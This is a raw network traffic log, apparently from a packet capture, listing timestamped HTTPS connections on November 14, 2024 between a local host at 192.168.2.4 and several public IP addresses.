Nov 14, 2024 20:43:26.220056057 CET	443	49851	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:26.220151901 CET	49851	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:26.221772909 CET	443	49857	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.271143913 CET	49857	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.462862968 CET	49851	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:26.462903023 CET	443	49851	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:26.463763952 CET	49857	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.463840008 CET	443	49857	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.464648962 CET	49857	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.464662075 CET	443	49857	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.465370893 CET	49856	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.465392113 CET	443	49856	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.466106892 CET	49856	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.466111898 CET	443	49856	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.466706038 CET	49853	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.466727018 CET	443	49853	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.466741085 CET	49853	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.466747046 CET	443	49853	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.469651937 CET	49855	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.469659090 CET	443	49855	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.469671965 CET	49855	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.469676018 CET	443	49855	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.482285976 CET	49859	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.482338905 CET	443	49859	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.482429028 CET	49859	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.483910084 CET	49859	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.483941078 CET	443	49859	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.498605967 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:26.507234097 CET	49860	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.507282972 CET	443	49860	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.507344961 CET	49860	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.507774115 CET	49860	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.507788897 CET	443	49860	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.539334059 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:26.566544056 CET	443	49858	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:26.567122936 CET	49858	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:26.567135096 CET	443	49858	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:26.567603111 CET	443	49858	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:26.567656994 CET	49858	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:26.568444967 CET	443	49858	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:26.568490982 CET	49858	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:26.569050074 CET	49858	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:26.569118023 CET	443	49858	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:26.569190979 CET	49858	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:26.569197893 CET	443	49858	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:26.594357014 CET	443	49857	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.594443083 CET	443	49857	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.594497919 CET	49857	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.594604015 CET	49857	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.594646931 CET	443	49857	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.594676971 CET	49857	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.594692945 CET	443	49857	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.594717026 CET	443	49856	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.594880104 CET	443	49856	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.594929934 CET	49856	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.596487999 CET	49856	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.596499920 CET	443	49856	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.599354982 CET	49861	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.599428892 CET	443	49861	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.599503994 CET	49861	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.600399971 CET	49861	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.600435019 CET	443	49861	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.601840019 CET	49862	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.601871014 CET	443	49862	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.601984024 CET	49862	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.602044106 CET	49862	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:26.602055073 CET	443	49862	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:26.614166021 CET	49858	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:26.780534983 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:26.835726023 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:26.846043110 CET	443	49858	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:26.846081972 CET	443	49858	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:26.846115112 CET	49858	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:26.846126080 CET	443	49858	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:26.846869946 CET	49858	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:26.846923113 CET	443	49858	142.250.186.142	192.168.2.4
Nov 14, 2024 20:43:26.846997023 CET	49858	443	192.168.2.4	142.250.186.142
Nov 14, 2024 20:43:26.934976101 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:26.934993029 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:26.935040951 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:26.935062885 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:26.935080051 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:26.935091972 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:26.935101986 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:26.935108900 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:26.935120106 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:26.935131073 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:26.935149908 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:26.935163975 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.027324915 CET	49864	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:27.027359962 CET	443	49864	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:27.027420044 CET	49864	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:27.028270006 CET	49864	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:27.028290033 CET	443	49864	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:27.057574987 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.057590008 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.057619095 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.057629108 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.057645082 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.057663918 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.057693958 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.057706118 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.173618078 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.173652887 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.173696041 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.173726082 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.173742056 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.173765898 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.264535904 CET	443	49860	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.264972925 CET	49860	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.264991999 CET	443	49860	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.265417099 CET	49860	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.265422106 CET	443	49860	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.267474890 CET	443	49859	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.268600941 CET	49859	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.268634081 CET	443	49859	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.269443989 CET	49859	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.269457102 CET	443	49859	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.292311907 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.292337894 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.292412996 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.292426109 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.292467117 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.334395885 CET	443	49861	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.335216999 CET	49861	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.335302114 CET	443	49861	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.336306095 CET	49861	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.336318970 CET	443	49861	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.399363995 CET	443	49860	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.399543047 CET	443	49860	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.399627924 CET	49860	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.400126934 CET	49860	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.400141954 CET	443	49860	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.400154114 CET	49860	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.400157928 CET	443	49860	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.402030945 CET	443	49859	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.402189016 CET	443	49859	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.402551889 CET	49859	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.402715921 CET	49859	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.402715921 CET	49859	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.402755976 CET	443	49859	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.402785063 CET	443	49859	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.409410000 CET	49866	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.409452915 CET	443	49866	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.409544945 CET	49866	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.410072088 CET	49866	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.410115957 CET	443	49866	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.411196947 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.411225080 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.411262989 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.411273003 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.411309958 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.411330938 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.411556959 CET	49867	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.411643982 CET	443	49867	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.411717892 CET	49867	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.412606955 CET	49867	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.412647009 CET	443	49867	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.451297045 CET	443	49854	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.452322006 CET	49854	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.452409029 CET	443	49854	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.453066111 CET	49854	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.453119993 CET	443	49854	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.463639975 CET	443	49861	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.464021921 CET	443	49861	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.464210033 CET	49861	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.464210033 CET	49861	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.464288950 CET	49861	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.464325905 CET	443	49861	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.467514992 CET	49868	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.467605114 CET	443	49868	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.467674971 CET	49868	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.467825890 CET	49868	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.467859983 CET	443	49868	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.530877113 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.530909061 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.530985117 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.531065941 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.531104088 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.531271935 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.572051048 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.572077036 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.572119951 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.572129965 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.572163105 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.572175026 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.599908113 CET	443	49854	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.600063086 CET	443	49854	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.600236893 CET	49854	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.600325108 CET	49854	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.600325108 CET	49854	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.600368023 CET	443	49854	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.600399971 CET	443	49854	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.604706049 CET	49869	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.604748964 CET	443	49869	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.604806900 CET	49869	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.605009079 CET	49869	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:27.605027914 CET	443	49869	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:27.691750050 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.691778898 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.691831112 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.691845894 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.691875935 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.691900015 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.769617081 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.769653082 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.769689083 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.769701004 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.769746065 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.810909986 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.810986996 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.810991049 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.811017036 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.811031103 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.811043978 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.811084986 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.820040941 CET	49852	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.820058107 CET	443	49852	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.894586086 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.894632101 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.895600080 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.903187037 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:27.903238058 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:27.915328979 CET	443	49864	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:27.915586948 CET	49864	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:27.915620089 CET	443	49864	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:27.916156054 CET	443	49864	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:27.916250944 CET	49864	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:27.917155981 CET	443	49864	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:27.917232037 CET	49864	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:27.917501926 CET	49864	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:27.917587042 CET	443	49864	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:27.917704105 CET	49864	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:27.917715073 CET	443	49864	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:27.957190037 CET	49864	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:28.134944916 CET	443	49867	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.135977030 CET	49867	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.136023045 CET	443	49867	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.136452913 CET	49867	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.136462927 CET	443	49867	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.146012068 CET	443	49866	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.150007010 CET	49866	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.150052071 CET	443	49866	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.150393963 CET	49866	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.150403976 CET	443	49866	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.152228117 CET	443	49862	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.153110027 CET	49862	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.153125048 CET	443	49862	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.153574944 CET	49862	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.153578997 CET	443	49862	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.199141979 CET	443	49864	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:28.199767113 CET	49864	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:28.199851990 CET	443	49864	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:28.200046062 CET	443	49864	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:28.200104952 CET	49864	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:28.200122118 CET	49864	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:28.200788021 CET	49871	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:28.200830936 CET	443	49871	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:28.201009035 CET	49871	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:28.201235056 CET	49871	443	192.168.2.4	172.217.18.14
Nov 14, 2024 20:43:28.201258898 CET	443	49871	172.217.18.14	192.168.2.4
Nov 14, 2024 20:43:28.205046892 CET	443	49868	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.205485106 CET	49868	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.205542088 CET	443	49868	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.205976963 CET	49868	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.205990076 CET	443	49868	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.263927937 CET	443	49867	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.264085054 CET	443	49867	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.264270067 CET	49867	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.264270067 CET	49867	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.264270067 CET	49867	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.266822100 CET	49872	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.266885042 CET	443	49872	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.266977072 CET	49872	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.267105103 CET	49872	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.267133951 CET	443	49872	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.275702000 CET	443	49866	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.275865078 CET	443	49866	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.276227951 CET	49866	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.276227951 CET	49866	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.276227951 CET	49866	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.278485060 CET	49873	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.278543949 CET	443	49873	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.278755903 CET	49873	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.278924942 CET	49873	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.278956890 CET	443	49873	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.283591032 CET	443	49862	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.283731937 CET	443	49862	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.283818007 CET	49862	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.283977985 CET	49862	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.283992052 CET	443	49862	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.284003973 CET	49862	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.284008980 CET	443	49862	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.286391973 CET	49874	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.286444902 CET	443	49874	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.286670923 CET	49874	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.286822081 CET	49874	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.286853075 CET	443	49874	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.332823992 CET	443	49868	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.333043098 CET	443	49868	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.333117008 CET	49868	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.333165884 CET	49868	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.333165884 CET	49868	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.333187103 CET	443	49868	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.333209038 CET	443	49868	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.335617065 CET	49875	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.335681915 CET	443	49875	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.335800886 CET	49875	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.335944891 CET	49875	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.335979939 CET	443	49875	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.349708080 CET	443	49869	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.350069046 CET	49869	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.350090027 CET	443	49869	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.350440025 CET	49869	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.350447893 CET	443	49869	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.372771978 CET	49876	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:28.372818947 CET	443	49876	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:28.372889996 CET	49876	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:28.373094082 CET	49876	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:28.373106956 CET	443	49876	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:28.492553949 CET	443	49869	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.492727995 CET	443	49869	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.492829084 CET	49869	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.565778971 CET	49867	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.565810919 CET	443	49867	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.581684113 CET	49866	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.581717968 CET	443	49866	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.788500071 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:28.831444025 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:28.831475019 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:28.831918955 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:28.833941936 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:28.834016085 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:28.834076881 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:28.879331112 CET	443	49870	188.119.66.154	192.168.2.4
Nov 14, 2024 20:43:28.879986048 CET	49870	443	192.168.2.4	188.119.66.154
Nov 14, 2024 20:43:28.918463945 CET	49869	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.918474913 CET	443	49869	13.107.246.45	192.168.2.4
Nov 14, 2024 20:43:28.918490887 CET	49869	443	192.168.2.4	13.107.246.45
Nov 14, 2024 20:43:28.918497086 CET	443	49869	13.107.246.45	192.168.2.4
